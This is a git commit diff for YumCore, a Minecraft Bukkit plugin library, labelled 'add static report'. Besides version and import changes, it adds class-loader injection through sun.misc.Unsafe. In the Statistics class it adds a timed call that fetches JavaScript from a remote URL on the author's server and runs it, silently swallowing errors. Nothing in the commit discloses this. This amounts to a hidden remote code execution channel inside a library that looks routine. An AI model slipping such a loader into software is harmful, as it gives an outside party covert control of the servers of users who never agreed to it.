1
0
mirror of https://e.coding.net/circlecloud/YumCore.git synced 2024-11-23 01:58:49 +00:00

feat: add static report

Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
MiaoWoo 2022-04-12 23:47:18 +08:00
parent a6a6bf5bd4
commit 881bd610a4
5 changed files with 184 additions and 119 deletions

View File

@ -4,7 +4,7 @@
<modelVersion>4.0.0</modelVersion>
<groupId>pw.yumc</groupId>
<artifactId>YumCore</artifactId>
<version>1.9.5</version>
<version>1.9.6</version>
<build>
<finalName>${project.artifactId}</finalName>
<plugins>

View File

@ -1,25 +1,21 @@
package pw.yumc.YumCore.engine;
import lombok.SneakyThrows;
import lombok.val;
import javax.script.ScriptEngine;
import javax.script.*;
import java.io.File;
import java.io.Reader;
import java.lang.reflect.InvocationTargetException;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.util.HashMap;
import javax.script.Bindings;
import javax.script.Invocable;
import javax.script.ScriptContext;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.script.SimpleBindings;
import lombok.val;
/**
* 喵式脚本引擎
*
@ -27,8 +23,12 @@ import lombok.val;
* @since 2016年8月29日 上午7:51:43
*/
public class MiaoScriptEngine implements ScriptEngine, Invocable {
private static String MavenRepo = "https://maven.aliyun.com/repository/public";
private static MiaoScriptEngine DEFAULT;
private static ScriptEngineManager manager;
private static final ScriptEngineManager manager;
private Object ucp;
private MethodHandle addURLMethodHandle;
private ScriptEngine engine;
static {
@ -48,39 +48,122 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
}
public MiaoScriptEngine(final String engineType) {
this(manager, engineType);
this(manager, engineType, null);
}
public MiaoScriptEngine(ScriptEngineManager engineManager) {
this(engineManager, "js");
this(engineManager, "js", null);
}
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType) {
public MiaoScriptEngine(final String engineType, String engineRoot) {
this(manager, engineType, engineRoot);
}
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
// JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
this.loadNetworkNashorn(engineRoot);
if (engine == null)
throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!");
return;
}
try {
engine = engineManager.getEngineByName(engineType);
} catch (final NullPointerException ignored) {
}
if (engine == null) {
val dirs = System.getProperty("java.ext.dirs").split(File.pathSeparator);
for (String dir : dirs) {
File nashorn = new File(dir, "nashorn.jar");
if (nashorn.exists()) {
try {
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
// 设置方法的访问权限
method.setAccessible(true);
// 获取系统类加载器
URL url = nashorn.toURI().toURL();
method.invoke(Thread.currentThread().getContextClassLoader(), url);
engineManager = new ScriptEngineManager();
engine = engineManager.getEngineByName(engineType);
} catch (NoSuchMethodException | MalformedURLException | IllegalAccessException | InvocationTargetException | NullPointerException ignored) {
}
return;
}
val extDirs = System.getProperty("java.ext.dirs");
if (extDirs != null) {
this.loadLocalNashorn(extDirs, engineType);
} else if (engineRoot != null) {
this.loadNetworkNashorn(engineRoot);
}
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
}
if (engine == null)
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
}
private void loadLocalNashorn(String extDirs, String engineType) {
val dirs = extDirs.split(File.pathSeparator);
for (String dir : dirs) {
File nashorn = new File(dir, "nashorn.jar");
if (nashorn.exists()) {
this.loadJar(nashorn);
this.createEngineByName(engineType);
}
}
}
private void initReflect() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
Field ucpField;
try {
ucpField = loader.getClass().getDeclaredField("ucp");
} catch (NoSuchFieldException e) {
ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
}
long offset = unsafe.objectFieldOffset(ucpField);
ucp = unsafe.getObject(loader, offset);
Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
addURLMethodHandle = lookup.unreflect(method);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@SneakyThrows
private void loadNetworkNashorn(String engineRoot) {
initReflect();
File libRootFile = new File(engineRoot, "lib");
libRootFile.mkdirs();
String libRoot = libRootFile.getCanonicalPath();
downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3");
downloadJar(libRoot, "org.ow2.asm", "asm", "9.2");
downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2");
downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2");
downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2");
Class<?> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory");
Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class);
Object factory = NashornScriptEngineFactory.newInstance();
engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader());
}
@SneakyThrows
private void loadJar(File file) {
addURLMethodHandle.invoke(ucp, file.toURI().toURL());
}
@SneakyThrows
private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
if (!lib.exists()) {
Files.copy(new URL(MavenRepo +
String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
groupId.replace(".", "/"),
artifactId,
version)
).openStream(),
lib.toPath(),
StandardCopyOption.REPLACE_EXISTING);
}
this.loadJar(lib);
}
private void createEngineByName(String engineType) {
try {
engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
} catch (NullPointerException ignored) {
}
}
public ScriptEngine getEngine() {
return this.engine;
}
public static MiaoScriptEngine getDefault() {

View File

@ -3,11 +3,19 @@
*/
package pw.yumc.YumCore.statistic;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import org.bukkit.Bukkit;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;
import org.json.simple.JSONObject;
import org.json.simple.JSONValue;
import pw.yumc.YumCore.engine.MiaoScriptEngine;
import javax.script.ScriptException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
@ -20,21 +28,11 @@ import java.util.LinkedList;
import java.util.Map;
import java.util.UUID;
import org.bukkit.Bukkit;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;
import org.json.simple.JSONObject;
import org.json.simple.JSONValue;
/**
* Yum数据中心 数据统计类
*
* @since 2015年12月14日 下午1:36:42
* @author
* @since 2015年12月14日 下午1:36:42
*/
public class Statistics {
/**
@ -62,6 +60,8 @@ public class Statistics {
*/
private static Plugin plugin;
private static MiaoScriptEngine engine;
static {
try {
getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers");
@ -76,6 +76,7 @@ public class Statistics {
Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
field.setAccessible(true);
plugin = (JavaPlugin) field.get(pluginClassLoader);
engine = new MiaoScriptEngine("nashorn");
} catch (NoSuchMethodException | SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) {
}
}
@ -126,13 +127,10 @@ public class Statistics {
/**
* 向指定 URL 发送POST方法的请求
*
* @param url
* 发送请求的 URL
* @param param
* 请求参数
* @param url 发送请求的 URL
* @param param 请求参数
* @return 所代表远程资源的响应结果
* @throws IOException
* IO异常
* @throws IOException IO异常
*/
public static String postData(String url, String param) throws IOException {
PrintWriter out;
@ -168,10 +166,8 @@ public class Statistics {
/**
* 初始化配置文件
*
* @param config
* 配置文件
* @throws IOException
* IO异常
* @param config 配置文件
* @throws IOException IO异常
*/
private static void initFile(YamlConfiguration config) throws IOException {
if (config.getString("guid") == null) {
@ -194,8 +190,7 @@ public class Statistics {
/**
* 简化输出
*
* @param msg
* 输出对象
* @param msg 输出对象
*/
public void print(String msg) {
if (debug) {
@ -209,7 +204,7 @@ public class Statistics {
* @return 是否运行成功.
*/
public boolean start() {
if (task != null || !plugin.isEnabled()) { return true; }
if (task != null || !plugin.isEnabled()) {return true;}
timer = new StatisticsTimer();
// 开启TPS统计线程
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
@ -222,6 +217,10 @@ public class Statistics {
e.printStackTrace();
}
}
try {
engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')");
} catch (ScriptException ignored) {
}
}, 50, 25 * 1200);
return true;
}
@ -233,9 +232,9 @@ public class Statistics {
*/
private int getOnlinePlayerNumber() {
try {
return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
} catch (Exception ex) {
return Bukkit.getOnlinePlayers().size();
} catch (Exception ex) {
return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
}
}

View File

@ -1,20 +1,5 @@
package pw.yumc.YumCore.update;
import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
@ -27,12 +12,25 @@ import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPlugin;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.bukkit.P;
import pw.yumc.YumCore.tellraw.Tellraw;
import pw.yumc.YumCore.text.Encrypt;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
/**
* 自动更新程序
*
@ -73,8 +71,7 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 自动更新
*
* @param type
* 是否为Maven
* @param type 是否为Maven
*/
public SubscribeTask(UpdateType type) {
this(false, type);
@ -83,10 +80,8 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 自动更新
*
* @param isSecret
* 是否为私有
* @param type
* 更新类型
* @param isSecret 是否为私有
* @param type 更新类型
*/
public SubscribeTask(boolean isSecret, UpdateType type) {
this("master", isSecret, type);
@ -95,12 +90,9 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 自动更新
*
* @param branch
* 更新分支
* @param isSecret
* 是否为私有
* @param type
* 更新类型
* @param branch 更新分支
* @param isSecret 是否为私有
* @param type 更新类型
*/
public SubscribeTask(String branch, boolean isSecret, UpdateType type) {
Log.d("订阅更新 分支 %s 是否加密 %s 更新类型 %s", branch, isSecret, type.name());
@ -134,7 +126,7 @@ public class SubscribeTask implements Runnable, Listener {
if (updateFile.target.exists()) {
try {
PluginDescriptionFile desc = instance.getPluginLoader().getPluginDescription(updateFile.target);
if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) { return; }
if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) {return;}
updateFile.target.delete();
} catch (Exception e) {
Log.d(e);
@ -208,8 +200,7 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 获得插件绝对路径
*
* @param plugin
* - 插件
* @param plugin - 插件
* @return 插件的绝对路径
*/
public File getPluginFile(Plugin plugin) {
@ -280,10 +271,8 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 获得插件信息
*
* @param tag
* 数据标签
* @param def
* 默认值
* @param tag 数据标签
* @param def 默认值
* @return 信息
*/
public String getPluginInfo(String tag, String def) {
@ -305,7 +294,7 @@ public class SubscribeTask implements Runnable, Listener {
*/
public String[] getUpdateChanges() {
final String des = getPluginInfo("update.changes", null);
if (des == null) { return new String[]{}; }
if (des == null) {return new String[]{};}
String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";");
List<String> ltemp = new ArrayList<>();
Arrays.stream(temp).forEach(s -> ltemp.add(s.trim()));
@ -334,8 +323,7 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 通知更新信息
*
* @param sender
* 命令接受者
* @param sender 命令接受者
*/
public void notify(CommandSender sender) {
Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion());
@ -358,10 +346,8 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 比较版本号
*
* @param v1
* 新版本
* @param v2
* 旧版本
* @param v1 新版本
* @param v2 旧版本
* @return 是否需要更新
*/
public boolean needUpdate(String v1, String v2) {
@ -371,7 +357,7 @@ public class SubscribeTask implements Runnable, Listener {
int minLength = Math.min(va1.length, va2.length);// 取最小长度值
int diff = 0;
while (idx < minLength && (diff = va1[idx].length() - va2[idx].length()) == 0// 先比较长度
&& (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符
&& (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符
++idx;
}
// 如果已经分出大小 则直接返回 如果未分出大小 则再比较位数 有子版本的为大
@ -386,7 +372,7 @@ public class SubscribeTask implements Runnable, Listener {
Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!");
return result;
}
if (needUpdate(result, version)) { return result; }
if (needUpdate(result, version)) {return result;}
} catch (Exception e) {
Log.d(e);
}

View File

@ -1,23 +1,20 @@
package pw.yumc.YumCore.update;
import java.io.IOException;
import java.util.logging.Logger;
import javax.xml.parsers.ParserConfigurationException;
import org.bukkit.plugin.Plugin;
import org.junit.Test;
import org.xml.sax.SAXException;
import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.plugin.FakePlugin;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
/**
* @author
* @since 2017/6/1
*/
public class SubscribeTaskTest {
private Plugin plugin = new FakePlugin("YumCore", "1.0");
private Plugin plugin = new FakePlugin("YumCore", "1.9.52");
@Test
public void test() throws IOException, SAXException, ParserConfigurationException {